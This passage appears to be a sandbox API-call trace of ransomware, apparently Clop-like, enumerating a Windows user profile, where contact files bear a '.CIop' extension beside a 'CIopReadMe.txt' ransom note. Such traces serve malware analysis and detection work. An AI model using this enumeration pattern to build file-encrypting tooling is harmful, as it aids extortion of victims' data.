(in: lpString1=0x2dcbe90, lpString2="C:\\Users\\CIiHmnxMn6Ps\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\") returned="C:\\Users\\CIiHmnxMn6Ps\\" [0158.887] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\*.*" [0158.887] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\*.*", lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 0x67e6b8 [0158.887] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps") returned="CIiHmnxMn6Ps" [0158.887] lstrcpyW (in: lpString1=0x2dca884, lpString2="CIiHmnxMn6Ps" | out: lpString1="CIiHmnxMn6Ps") returned="CIiHmnxMn6Ps" [0158.888] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0158.888] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0158.888] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0158.888] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0158.888] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0158.888] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0158.888] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0158.888] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0158.888] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0158.888] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0158.888] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0158.888] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0158.888] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0158.888] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0158.888] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0158.888] lstrcmpW (lpString1="NTUSER.DAT", lpString2="..") returned 1 [0158.888] lstrcmpW (lpString1="NTUSER.DAT", lpString2=".") returned 1 [0158.888] lstrlenW (lpString="ntuser.dat") returned 10 [0158.888] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0158.888] lstrcmpW (lpString1="ntuser.dat.LOG1", lpString2="..") returned 1 [0158.888] lstrcmpW (lpString1="ntuser.dat.LOG1", lpString2=".") returned 1 [0158.888] lstrlenW (lpString="ntuser.dat") returned 10 [0158.888] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0158.888] lstrcmpW (lpString1="ntuser.dat.LOG2", lpString2="..") returned 1 [0158.888] lstrcmpW (lpString1="ntuser.dat.LOG2", lpString2=".") returned 1 [0158.888] lstrlenW (lpString="ntuser.dat") returned 10 [0158.888] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0158.888] lstrcmpW (lpString1="NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TM.blf", lpString2="..") returned 1 [0158.888] lstrcmpW (lpString1="NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TM.blf", lpString2=".") returned 1 [0158.888] lstrlenW (lpString="ntuser.dat") returned 10 [0158.888] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0158.888] lstrcmpW (lpString1="NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TMContainer00000000000000000001.regtrans-ms", lpString2="..") returned 1 [0158.888] lstrcmpW (lpString1="NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TMContainer00000000000000000001.regtrans-ms", lpString2=".") returned 1 [0158.888] lstrlenW (lpString="ntuser.dat") returned 10 [0158.889] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0158.889] lstrcmpW (lpString1="NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TMContainer00000000000000000002.regtrans-ms", lpString2="..") returned 1 [0158.889] lstrcmpW (lpString1="NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TMContainer00000000000000000002.regtrans-ms", lpString2=".") returned 1 [0158.889] lstrlenW (lpString="ntuser.dat") returned 10 [0158.889] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0158.889] lstrcmpW (lpString1="ntuser.ini", lpString2="..") returned 1 [0158.889] lstrcmpW (lpString1="ntuser.ini", lpString2=".") returned 1 [0158.889] lstrlenW (lpString="ntuser.ini") returned 10 [0158.889] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0158.889] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0158.889] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0158.889] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0158.889] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0158.889] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0158.889] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0158.889] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0158.889] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0158.889] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0158.889] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 0 [0158.889] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 1 [0158.889] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 0 [0158.889] lstrcpyW (in: lpString1=0x2dcc2a0, lpString2="C:\\Users\\CIiHmnxMn6Ps" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps") returned="C:\\Users\\CIiHmnxMn6Ps" [0158.889] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\*.*" [0158.889] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\*.*", lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 0x67e478 [0158.890] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps") returned="CIiHmnxMn6Ps" [0158.890] lstrcpyW (in: lpString1=0x2dca884, lpString2="CIiHmnxMn6Ps" | out: lpString1="CIiHmnxMn6Ps") returned="CIiHmnxMn6Ps" [0158.890] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0158.890] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0158.890] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0158.890] lstrcmpW (lpString1="AppData", lpString2="..") returned 1 [0158.890] lstrcmpW (lpString1="AppData", lpString2=".") returned 1 [0158.890] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\CIiHmnxMn6Ps" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps") returned="C:\\Users\\CIiHmnxMn6Ps" [0158.890] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\") returned="C:\\Users\\CIiHmnxMn6Ps\\" [0158.890] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="AppData" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData" [0158.890] SetErrorMode (uMode=0x1) returned 0x1 [0158.890] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData" [0158.890] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\" [0158.890] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\" [0158.890] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\*.*" [0158.890] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e6b8 [0158.890] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData") returned="AppData" [0158.890] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="AppData" | out: lpString1="AppData") returned="AppData" [0158.890] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 1 [0158.890] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData" [0158.890] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\*.*" [0158.890] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e838 [0158.891] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData") returned="AppData" [0158.891] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="AppData" | out: lpString1="AppData") returned="AppData" [0158.891] FindClose (in: hFindFile=0x67e838 | out: hFindFile=0x67e838) returned 1 [0158.891] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0158.891] lstrcmpW (lpString1="Application Data", lpString2="..") returned 1 [0158.891] lstrcmpW (lpString1="Application Data", lpString2=".") returned 1 [0158.891] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\CIiHmnxMn6Ps" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps") returned="C:\\Users\\CIiHmnxMn6Ps" [0158.891] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\") returned="C:\\Users\\CIiHmnxMn6Ps\\" [0158.891] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="Application Data" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Application Data") returned="C:\\Users\\CIiHmnxMn6Ps\\Application Data" [0158.891] SetErrorMode (uMode=0x1) returned 0x1 [0158.891] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Application Data" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Application Data") returned="C:\\Users\\CIiHmnxMn6Ps\\Application Data" [0158.891] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Application Data", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Application Data\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Application Data\\" [0158.891] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Application Data\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Application Data\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Application Data\\" [0158.891] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Application Data\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Application Data\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Application Data\\*.*" [0158.891] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Application Data\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0158.891] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Application Data") returned="Application Data" [0158.891] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Application Data" | out: lpString1="Application Data") returned="Application Data" [0158.891] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0158.891] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Application Data" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Application Data") returned="C:\\Users\\CIiHmnxMn6Ps\\Application Data" [0158.891] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Application Data", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Application Data\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Application Data\\*.*" [0158.891] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Application Data\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0158.891] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Application Data") returned="Application Data" [0158.891] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Application Data" | out: lpString1="Application Data") returned="Application Data" [0158.891] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0158.891] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0158.892] lstrcmpW (lpString1="Contacts", lpString2="..") returned 1 [0158.892] lstrcmpW (lpString1="Contacts", lpString2=".") returned 1 [0158.892] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\CIiHmnxMn6Ps" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps") returned="C:\\Users\\CIiHmnxMn6Ps" [0158.892] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\") returned="C:\\Users\\CIiHmnxMn6Ps\\" [0158.892] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="Contacts" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Contacts") returned="C:\\Users\\CIiHmnxMn6Ps\\Contacts" [0158.892] SetErrorMode (uMode=0x1) returned 0x1 [0158.892] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Contacts" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Contacts") returned="C:\\Users\\CIiHmnxMn6Ps\\Contacts" [0158.892] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Contacts", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\" [0158.892] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\" [0158.892] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\*.*" [0158.892] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e6b8 [0158.892] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Contacts") returned="Contacts" [0158.892] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Contacts" | out: lpString1="Contacts") returned="Contacts" [0158.892] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0158.892] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0158.892] lstrcmpW (lpString1="Aclviho ASldjfl.contact.CIop", lpString2="..") returned 1 [0158.892] lstrcmpW (lpString1="Aclviho ASldjfl.contact.CIop", lpString2=".") returned 1 [0158.892] lstrlenW (lpString=".CIop") returned 5 [0158.892] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0158.892] lstrcmpW (lpString1="asdlfk poopvy.contact.CIop", lpString2="..") returned 1 [0158.892] lstrcmpW (lpString1="asdlfk poopvy.contact.CIop", lpString2=".") returned 1 [0158.892] lstrlenW (lpString=".CIop") returned 5 [0158.892] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0158.892] lstrcmpW (lpString1="chucu jadnvk.contact.CIop", lpString2="..") returned 1 [0158.892] lstrcmpW (lpString1="chucu jadnvk.contact.CIop", lpString2=".") returned 1 [0158.892] lstrlenW (lpString=".CIop") returned 5 [0158.892] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0158.892] lstrcmpW (lpString1="CIopReadMe.txt", lpString2="..") returned 1 [0158.892] lstrcmpW (lpString1="CIopReadMe.txt", lpString2=".") returned 1 [0158.892] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0158.892] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0158.892] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1 [0158.892] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1 [0158.892] lstrlenW (lpString="desktop.ini") returned 11 [0158.893] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0158.893] lstrcmpW (lpString1="lulcit amkdfe.contact.CIop", lpString2="..") returned 1 [0158.893] lstrcmpW (lpString1="lulcit amkdfe.contact.CIop", lpString2=".") returned 1 [0158.893] lstrlenW (lpString=".CIop") returned 5 [0158.893] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0158.893] lstrcmpW (lpString1="sikvnb huvuib.contact.CIop", lpString2="..") returned 1 [0158.893] lstrcmpW (lpString1="sikvnb huvuib.contact.CIop", lpString2=".") returned 1 [0158.893] lstrlenW (lpString=".CIop") returned 5 [0158.893] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0158.893] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 1 [0158.893] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 0 [0158.893] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Contacts" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Contacts") returned="C:\\Users\\CIiHmnxMn6Ps\\Contacts" [0158.893] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Contacts", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\*.*" [0158.893] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e6b8 [0158.895] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Contacts") returned="Contacts" [0158.895] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Contacts" | out: lpString1="Contacts") returned="Contacts" [0158.895] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0158.895] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0158.895] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0158.895] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0158.895] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0158.895] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0158.895] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0158.895] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0158.895] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0158.895] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0158.895] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 1 [0158.895] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 0 [0158.895] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0158.895] lstrcmpW (lpString1="Cookies", lpString2="..") returned 1 [0158.895] lstrcmpW (lpString1="Cookies", lpString2=".") returned 1 [0158.895] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\CIiHmnxMn6Ps" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps") returned="C:\\Users\\CIiHmnxMn6Ps" [0158.895] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\") returned="C:\\Users\\CIiHmnxMn6Ps\\" [0158.895] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="Cookies" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Cookies") returned="C:\\Users\\CIiHmnxMn6Ps\\Cookies" [0158.895] SetErrorMode (uMode=0x1) returned 0x1 [0158.896] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Cookies" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Cookies") returned="C:\\Users\\CIiHmnxMn6Ps\\Cookies" [0158.896] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Cookies", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Cookies\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Cookies\\" [0158.896] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Cookies\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Cookies\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Cookies\\" [0158.896] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Cookies\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Cookies\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Cookies\\*.*" [0158.896] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Cookies\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0158.896] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Cookies") returned="Cookies" [0158.896] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Cookies" | out: lpString1="Cookies") returned="Cookies" [0158.896] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0158.896] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Cookies" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Cookies") returned="C:\\Users\\CIiHmnxMn6Ps\\Cookies" [0158.896] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Cookies", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Cookies\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Cookies\\*.*" [0158.896] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Cookies\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0158.896] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Cookies") returned="Cookies" [0158.896] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Cookies" | out: lpString1="Cookies") returned="Cookies" [0158.896] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0158.896] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0158.896] lstrcmpW (lpString1="Desktop", lpString2="..") returned 1 [0158.896] lstrcmpW (lpString1="Desktop", lpString2=".") returned 1 [0158.896] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\CIiHmnxMn6Ps" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps") returned="C:\\Users\\CIiHmnxMn6Ps" [0158.896] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\") returned="C:\\Users\\CIiHmnxMn6Ps\\" [0158.896] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="Desktop" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop" [0158.896] SetErrorMode (uMode=0x1) returned 0x1 [0158.896] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop" [0158.896] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\" [0158.896] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\" [0158.896] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\", lpString2="*.*" | out: 